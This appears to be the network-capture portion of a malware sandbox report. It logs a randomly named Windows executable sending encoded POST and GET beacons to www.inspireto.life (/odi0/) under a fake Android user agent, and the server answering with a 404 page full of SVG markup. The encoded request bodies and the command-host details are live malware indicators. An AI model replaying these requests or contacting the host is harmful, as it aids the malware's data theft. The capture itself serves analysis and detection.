64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Dec 3, 2024 14:39:07.975573063 CET	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Dec 3, 2024 14:39:07.975588083 CET	448	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Dec 3, 2024 14:39:07.975733042 CET	1236	IN	Data Raw: 36 38 31 31 33 20 2d 31 2e 33 35 35 38 35 33 2c 31 2e 35 30 33 31 32 20 2d 32 2e 34 37 33 37 36 34 2c 33 2e 30 39 31 37 33 20 2d 33 2e 33 38 37 38 36 36 2c 34 2e 35 39 35 33 38 20 2d 30 2e 39 31 34 31 30 33 2c 31 2e 35 30 33 36 35 20 2d 31 2e 36 Data Ascii: 68113 -1.355853,1.50312 -2.473764,3.09173 -3.387866,4.59538 -0.914103,1.50365 -1.620209,2.91586 -2.416229,4.41952 -0.79602,1.50365 -1.67928,3.09352 -0.808656,3.24054 0.870624,0.14702 3.490408,-1.14815 5.700074,-1.91396 2.209666,-0.76581 4.0014
Dec 3, 2024 14:39:07.975747108 CET	1236	IN	Data Raw: 34 39 36 35 35 2c 31 33 2e 36 36 36 30 35 20 2d 31 33 2e 39 31 36 36 30 38 2c 31 38 2e 37 34 39 36 20 2d 33 2e 31 36 36 39 35 32 2c 35 2e 30 38 33 35 35 20 2d 34 2e 33 33 33 34 33 32 2c 38 2e 32 34 39 37 31 20 2d 34 2e 37 35 30 33 31 35 2c 31 31 Data Ascii: 49655,13.66605 -13.916608,18.7496 -3.166952,5.08355 -4.333432,8.24971 -4.750315,11.08369 -0.416883,2.83399 -0.08368,5.33304 1.809372,16.25302 1.893048,10.91998 5.343489,30.24673 9.760132,48.66349 4.416642,18.41676 9.798356,35.91675 15.180267,5
Dec 3, 2024 14:39:07.975758076 CET	448	IN	Data Raw: 37 38 36 2c 36 2e 32 32 39 31 32 20 31 31 2e 36 39 37 38 39 2c 31 32 2e 32 32 39 31 34 20 31 37 2e 31 31 34 35 36 2c 31 38 2e 33 39 35 38 31 20 35 2e 34 31 36 36 36 2c 36 2e 31 36 36 36 37 20 31 30 2e 37 34 39 39 36 2c 31 32 2e 34 39 39 39 35 20 Data Ascii: 786,6.22912 11.69789,12.22914 17.11456,18.39581 5.41666,6.16667 10.74996,12.49995 14.74993,17.91655 3.99997,5.41659 6.66659,9.91653 7.16671,17.83316 0.50012,7.91664 -1.16644,19.24921 -3.3502,31.24619 -2.18376,11.99698 -4.81616,24.33632 -8.4206
Dec 3, 2024 14:39:07.975955963 CET	1236	IN	Data Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20 Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
Dec 3, 2024 14:39:07.976114988 CET	1236	IN	Data Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32 Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
Dec 3, 2024 14:39:07.976126909 CET	1236	IN	Data Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
Dec 3, 2024 14:39:07.976305962 CET	1236	IN	Data Raw: 65 2d 6c 69 6e 65 63 61 70 3a 62 75 74 74 3b 73 74 72 6f 6b 65 2d 6c 69 6e 65 6a 6f 69 6e 3a 6d 69 74 65 72 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 Data Ascii: e-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4560" d="m 13.113199,198.16821 c 47.547038,0.40361 95.093071,0.80721 142.638101,1.2108" style="display:inline;fill:none;s
Dec 3, 2024 14:39:08.095854044 CET	1236	IN	Data Raw: 2d 77 69 64 74 68 3a 30 2e 38 32 31 37 30 32 32 34 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 34 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a Data Ascii: -width:0.82170224;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <ellipse transform="translate(-170.14515,-0.038164)" ry="3.880542" rx="3.5777507" cy="164.5713"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49922	162.0.213.94	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:09.390208006 CET	1846	OUT	POST /odi0/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.inspireto.life Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Origin: http://www.inspireto.life Referer: http://www.inspireto.life/odi0/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 75 36 6e 50 5f 46 34 38 3d 4e 38 37 69 75 6c 47 66 6c 6d 72 35 30 37 55 36 67 76 48 73 77 5a 50 4c 43 56 74 49 71 61 44 68 69 6c 32 4f 5a 64 6c 41 33 4b 2f 67 52 4f 2b 6f 30 4f 68 77 50 6d 6a 5a 63 38 62 38 6f 75 57 4a 5a 4d 78 50 59 30 4c 79 4f 6d 63 55 52 6d 48 69 71 7a 72 2f 59 70 31 34 49 45 32 33 54 55 56 55 73 34 63 42 6a 6e 55 53 62 56 75 6c 47 46 4b 45 4b 4a 68 74 32 4c 6d 50 34 43 64 33 57 78 31 49 4b 53 38 39 4c 78 72 67 6a 70 68 64 54 78 35 4c 30 76 31 32 4a 43 2b 2f 64 79 67 4a 4c 36 6d 69 43 4e 74 33 34 39 67 47 53 45 53 77 64 74 4f 75 61 56 74 42 5a 65 65 74 47 33 65 4d 49 51 4f 42 63 30 53 4e 70 6c 6d 7a 74 42 6d 43 58 41 72 49 68 4f 36 49 4a 39 6d 70 41 61 31 62 36 48 36 75 4a 51 58 37 51 70 36 41 58 71 2b 36 71 36 34 55 74 38 4e 45 68 78 51 70 78 41 79 31 4a 4c 41 48 78 4a 54 42 51 32 4b 48 57 61 2b 54 35 66 64 78 6c 30 79 70 74 47 2b 5a 55 72 75 6a 6b 2b 6e 4e 6c 75 73 74 51 77 45 68 4e 43 34 49 54 6b 4d 51 2b 39 2b 51 75 49 58 30 64 43 72 33 4a 34 4b 74 67 76 42 46 74 36 34 6b 34 [TRUNCATED] Data Ascii: u6nP_F48=N87iulGflmr507U6gvHswZPLCVtIqaDhil2OZdlA3K/gRO+o0OhwPmjZc8b8ouWJZMxPY0LyOmcURmHiqzr/Yp14IE23TUVUs4cBjnUSbVulGFKEKJht2LmP4Cd3Wx1IKS89LxrgjphdTx5L0v12JC+/dygJL6miCNt349gGSESwdtOuaVtBZeetG3eMIQOBc0SNplmztBmCXArIhO6IJ9mpAa1b6H6uJQX7Qp6AXq+6q64Ut8NEhxQpxAy1JLAHxJTBQ2KHWa+T5fdxl0yptG+ZUrujk+nNlustQwEhNC4ITkMQ+9+QuIX0dCr3J4KtgvBFt64k47gF0nzR4lBq9YY/dLWMzVsxlz2PvVCMLjuPGFYGu1o0RIGTXYfposbr5ORAqscYXAk+r2IY5zIwsuqf5M66uclklVlNxmtpwvrdH8GYPDJgbP+5jXnJ5I9NNFNo/VIGdfGSfydUje491+VU/uab4+1Z7p6jWNlXGM0VJI7kaL8s4TWfp0IYfqQD71lkHoZJntLjOTTxFioJB8IppYENgjEp0109Ef6BknrYqjc+lOwxE7kW5/3Ii+Mdqxk6nsqeSEMKYavgN39LmqtF+3UuX7uagL8ZsSVbrOp3owjFZ64aoTf/OpE9m2yMjhJ6YLQ0W4wpR68aVL5Gc+cJkm/q6E51Z60fGpSrUdL/tscq31vVMMo5uZwkFj2HUDiWkMTC2OpO0uvmRC5cc1vsbDzJBRt6aFMky3IQbSXcDySTbaSP139eEtvIRdYcKE0rGX25kn5r9ST7Iz6dGXBTNuiz8YFDB3Oo3TZAZFvL0pbNRpf87VkCGaMU6VGeAw4cvr5yKrYzvuViDyEF9pRJQ7gAwWZe4ypaK61jcj+7vmYx3fU3sL0gspLCLIxvyvD30LiTmyobBIUJU/ZGx33VtTWolBMkYIoAjw1kHe/qeh55WG8gDAjY8KfIeYk38zHwW+8/yF+viZxttCx+/TFXnVOlrGMPxkYloe0YoZc [TRUNCATED]
Dec 3, 2024 14:39:10.677865982 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:39:10 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Dec 3, 2024 14:39:10.677980900 CET	1236	IN	Data Raw: 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 29 22 0a 20 20 20 20 20 20 20 69 64 3d 22 6c Data Ascii: > </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)" style="disp
Dec 3, 2024 14:39:10.677992105 CET	1236	IN	Data Raw: 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 35 32 31 33 20 31 2e 36 32 38 39 39 35 2c 2d Data Ascii: 8.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;"
Dec 3, 2024 14:39:10.678219080 CET	1236	IN	Data Raw: 30 2e 37 36 32 37 32 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 72 65 63 74 34 35 35 33 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 6f 70 61 63 69 74 79 3a 31 3b 66 Data Ascii: 0.76272" id="rect4553" style="display:inline;opacity:1;fill:#000000;fill-opacity:1;fill-rule:nonzero;stroke:#000000;stroke-width:1.00157475;stroke-miterlimit:4;stroke-dasharray:none;stroke-opacity:1;" /> <pa
Dec 3, 2024 14:39:10.678234100 CET	896	IN	Data Raw: 32 2c 31 35 2e 35 30 30 36 34 20 30 2e 39 31 36 37 39 38 2c 36 2e 38 33 34 33 34 20 32 2e 32 34 39 38 35 34 2c 31 36 2e 33 33 32 33 37 20 33 2e 34 39 39 39 30 32 2c 32 34 2e 39 31 36 30 34 20 31 2e 32 35 30 30 34 37 2c 38 2e 35 38 33 36 38 20 32 Data Ascii: 2,15.50064 0.916798,6.83434 2.249854,16.33237 3.499902,24.91604 1.250047,8.58368 2.416611,16.24967 4.583438,28.58394 2.166827,12.33427 5.333153,29.33244 8.499966,46.33323" style="display:inline;fill:none;stroke:#000000;stroke-widt
Dec 3, 2024 14:39:10.678416014 CET	1236	IN	Data Raw: 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 69 64 3d 22 70 61 74 68 34 35 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 64 3d 22 6d 20 39 31 2e 39 33 37 35 2c 31 32 34 2e 30 39 39 39 38 20 Data Ascii: /> <path id="path4525" d="m 91.9375,124.09998 c 5.854072,7.16655 11.70824,14.33322 16.21863,20.16651 4.51039,5.83328 7.67706,10.33329 11.92718,16.33346 4.25012,6.00017 9.58322,13.49984 12.66653,18.58299 3.08
Dec 3, 2024 14:39:10.678435087 CET	1236	IN	Data Raw: 39 34 33 35 31 37 2c 34 2e 31 32 37 39 35 20 32 2e 38 32 37 35 33 35 2c 31 31 2e 31 39 33 30 32 20 34 2e 30 36 35 30 30 35 2c 31 36 2e 30 32 35 30 31 20 31 2e 32 33 37 34 38 2c 34 2e 38 33 32 20 31 2e 38 32 36 36 38 2c 37 2e 34 32 34 34 37 20 32 Data Ascii: 943517,4.12795 2.827535,11.19302 4.065005,16.02501 1.23748,4.832 1.82668,7.42447 2.12139,10.84263 0.29471,3.41815 0.29471,7.65958 -0.11785,20.44893 -0.41255,12.78934 -1.23731,34.11536 -2.18014,53.62015 -0.94282,19.50478 -2.003429,37.18159 -3.0
Dec 3, 2024 14:39:10.678617001 CET	448	IN	Data Raw: 35 34 2e 32 30 37 36 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 3a 23 30 30 30 30 30 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: 54.20767" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4549" d="m 79.25478,124.23266 c -5.440192,
Dec 3, 2024 14:39:10.678639889 CET	1236	IN	Data Raw: 39 35 2c 35 33 2e 38 34 37 34 36 20 32 2e 32 33 37 39 31 33 2c 31 39 2e 33 37 38 32 39 20 34 2e 38 33 33 31 30 39 2c 33 36 2e 37 31 38 39 32 20 37 2e 34 32 35 39 35 39 2c 35 34 2e 30 34 33 38 37 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 Data Ascii: 95,53.84746 2.237913,19.37829 4.833109,36.71892 7.425959,54.04387" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="pa
Dec 3, 2024 14:39:10.678652048 CET	1236	IN	Data Raw: 34 35 38 30 36 2c 33 36 2e 38 33 32 31 36 20 2d 31 32 2e 36 38 37 35 2c 35 35 2e 32 35 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c 3a 6e 6f 6e 65 3b 73 74 72 6f 6b 65 Data Ascii: 45806,36.83216 -12.6875,55.25" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <ellipse ry="4.6715717" rx="2.5"
Dec 3, 2024 14:39:10.798011065 CET	1236	IN	Data Raw: 6f 6e 65 3b 73 74 72 6f 6b 65 2d 6f 70 61 63 69 74 79 3a 31 3b 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 2d 31 37 30 2e 31 Data Ascii: one;stroke-opacity:1;" /> <path transform="translate(-170.14515,-0.038164)" id="path4567" d="m 321.74355,168.0687 c -1e-5,3.3913 -3.42414,11.26702 -8.73834,11.26702 -5.3142,0 -18.59463,27.24606

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49928	162.0.213.94	80	5868	C:\Program Files (x86)\jxvBoUoRVImTlYTBniSBFOGvGdJGecWXoXjUJTHdYuHBHGyZlaKpIgYeTZDrsAOiz\XVZmwHdSYwx.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 14:39:12.053571939 CET	554	OUT	GET /odi0/?F8S0G=ul80rPhxFlR8lH&u6nP_F48=A+TCtTOt1m7L0JkN7P72xqDuM3MJ0JKhh3i5FsNa0NmBZ9+GiOsXSm+4Udvcs/rcS+RMYR73IEQXFVaqqwbxWOBmPh+KTHFpnfkytlUBUFCYYxG0fJp40sWrzXdCUwp6RCE3NBU= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Host: www.inspireto.life Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.2.2; en-us; GT-N7100 Build/JDQ39) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Dec 3, 2024 14:39:13.325678110 CET	1236	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 13:39:13 GMT Server: Apache Content-Length: 16052 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2f 35 2e 30 2e 30 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 6d 69 6e 2e 63 73 73 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 34 32 2e 63 73 73 22 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 21 2d 2d 20 70 61 72 74 69 61 6c 3a 69 6e 64 65 78 2e 70 61 72 74 69 61 6c 2e 68 74 6d 6c 20 2d 2d 3e 0a 3c 6d 61 69 6e 3e 0a 20 3c 73 76 67 0a 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 35 34 31 2e 31 37 32 30 36 20 33 32 38 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en" ><head> <meta charset="UTF-8"> <title>404 Not Found</title> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.min.css"><link rel="stylesheet" href="/42.css"></head><body>... partial:index.partial.html --><main> <svg viewBox="0 0 541.17206 328.45184" height="328.45184" width="541.17206" id="svg2" version="1.1"> <metadata id="metadata8"> </metadata> <defs id="defs6"> <pattern patternUnits="userSpaceOnUse" width="1.5" height="1" patternTransform="translate(0,0) scale(10,10)" id="Strips2_1"> <rect style="fill:black;stroke:none" x="0" y="-0.5" width="1" height="2" id="rect5419" /> </pattern> <linearGradient osb:paint="solid" id="linearGradient6096"> <stop id="stop6094" offset="0" [TRUNCATED]
Dec 3, 2024 14:39:13.325736046 CET	1236	IN	Data Raw: 2f 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 3e 0a 20 20 20 20 3c 2f 64 65 66 73 3e 0a 20 20 20 20 3c 67 0a 20 20 20 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 31 37 30 2e 31 34 35 31 35 2c 30 2e 30 33 38 31 36 34 Data Ascii: /linearGradient> </defs> <g transform="translate(170.14515,0.038164)" id="layer1"> <g id="g6219" > <path transform="matrix(1.0150687,0,0,11.193923,-1.3895945,-2685.7441)"
Dec 3, 2024 14:39:13.325747013 CET	448	IN	Data Raw: 37 39 20 2d 30 2e 35 39 35 32 33 33 2c 2d 31 38 2e 38 35 38 37 31 35 20 2d 30 2e 36 30 32 31 37 35 2c 2d 33 31 2e 34 36 39 32 32 38 20 2d 30 2e 30 31 32 35 33 2c 2d 32 32 2e 37 35 39 35 36 35 20 30 2e 37 31 37 32 36 32 2c 2d 34 31 2e 32 33 31 34 Data Ascii: 79 -0.595233,-18.858715 -0.602175,-31.469228 -0.01253,-22.759565 0.717262,-41.23145213 1.628995,-41.23195399 z" style="display:inline;fill:#000000;stroke:none;stroke-width:0.23743393px;stroke-linecap:butt;stroke-linejoin:miter;str
Dec 3, 2024 14:39:13.325865984 CET	1236	IN	Data Raw: 30 31 20 2d 34 2e 38 36 31 34 34 34 2c 32 2e 36 38 31 31 33 20 2d 31 2e 33 35 35 38 35 33 2c 31 2e 35 30 33 31 32 20 2d 32 2e 34 37 33 37 36 34 2c 33 2e 30 39 31 37 33 20 2d 33 2e 33 38 37 38 36 36 2c 34 2e 35 39 35 33 38 20 2d 30 2e 39 31 34 31 Data Ascii: 01 -4.861444,2.68113 -1.355853,1.50312 -2.473764,3.09173 -3.387866,4.59538 -0.914103,1.50365 -1.620209,2.91586 -2.416229,4.41952 -0.79602,1.50365 -1.67928,3.09352 -0.808656,3.24054 0.870624,0.14702 3.490408,-1.14815 5.700074,-1.91396 2.209666,
Dec 3, 2024 14:39:13.325892925 CET	224	IN	Data Raw: 33 2c 36 2e 36 36 37 31 39 20 2d 31 30 2e 37 34 39 36 35 35 2c 31 33 2e 36 36 36 30 35 20 2d 31 33 2e 39 31 36 36 30 38 2c 31 38 2e 37 34 39 36 20 2d 33 2e 31 36 36 39 35 32 2c 35 2e 30 38 33 35 35 20 2d 34 2e 33 33 33 34 33 32 2c 38 2e 32 34 39 Data Ascii: 3,6.66719 -10.749655,13.66605 -13.916608,18.7496 -3.166952,5.08355 -4.333432,8.24971 -4.750315,11.08369 -0.416883,2.83399 -0.08368,5.33304 1.809372,16.25302 1.893048,10.91998 5.343489,30.24673 9.760132,48.66349 4.416642,18.4
Dec 3, 2024 14:39:13.325917006 CET	1236	IN	Data Raw: 31 36 37 36 20 39 2e 37 39 38 33 35 36 2c 33 35 2e 39 31 36 37 35 20 31 35 2e 31 38 30 32 36 37 2c 35 33 2e 34 31 37 33 38 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 3b 66 69 6c 6c Data Ascii: 1676 9.798356,35.91675 15.180267,53.41738" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" /> <path id="path4517" d="
Dec 3, 2024 14:39:13.325927973 CET	1236	IN	Data Raw: 31 31 2e 39 39 36 39 38 20 2d 34 2e 38 31 36 31 36 2c 32 34 2e 33 33 36 33 32 20 2d 38 2e 34 32 30 36 33 2c 33 38 2e 39 39 38 30 39 20 2d 33 2e 36 30 34 34 38 2c 31 34 2e 36 36 31 37 37 20 2d 38 2e 30 36 32 31 32 2c 33 31 2e 31 37 31 35 34 20 2d Data Ascii: 11.99698 -4.81616,24.33632 -8.42063,38.99809 -3.60448,14.66177 -8.06212,31.17154 -12.56244,47.83939" style="display:inline;fill:none;stroke:#000000;stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;stroke-opacity:1;" />
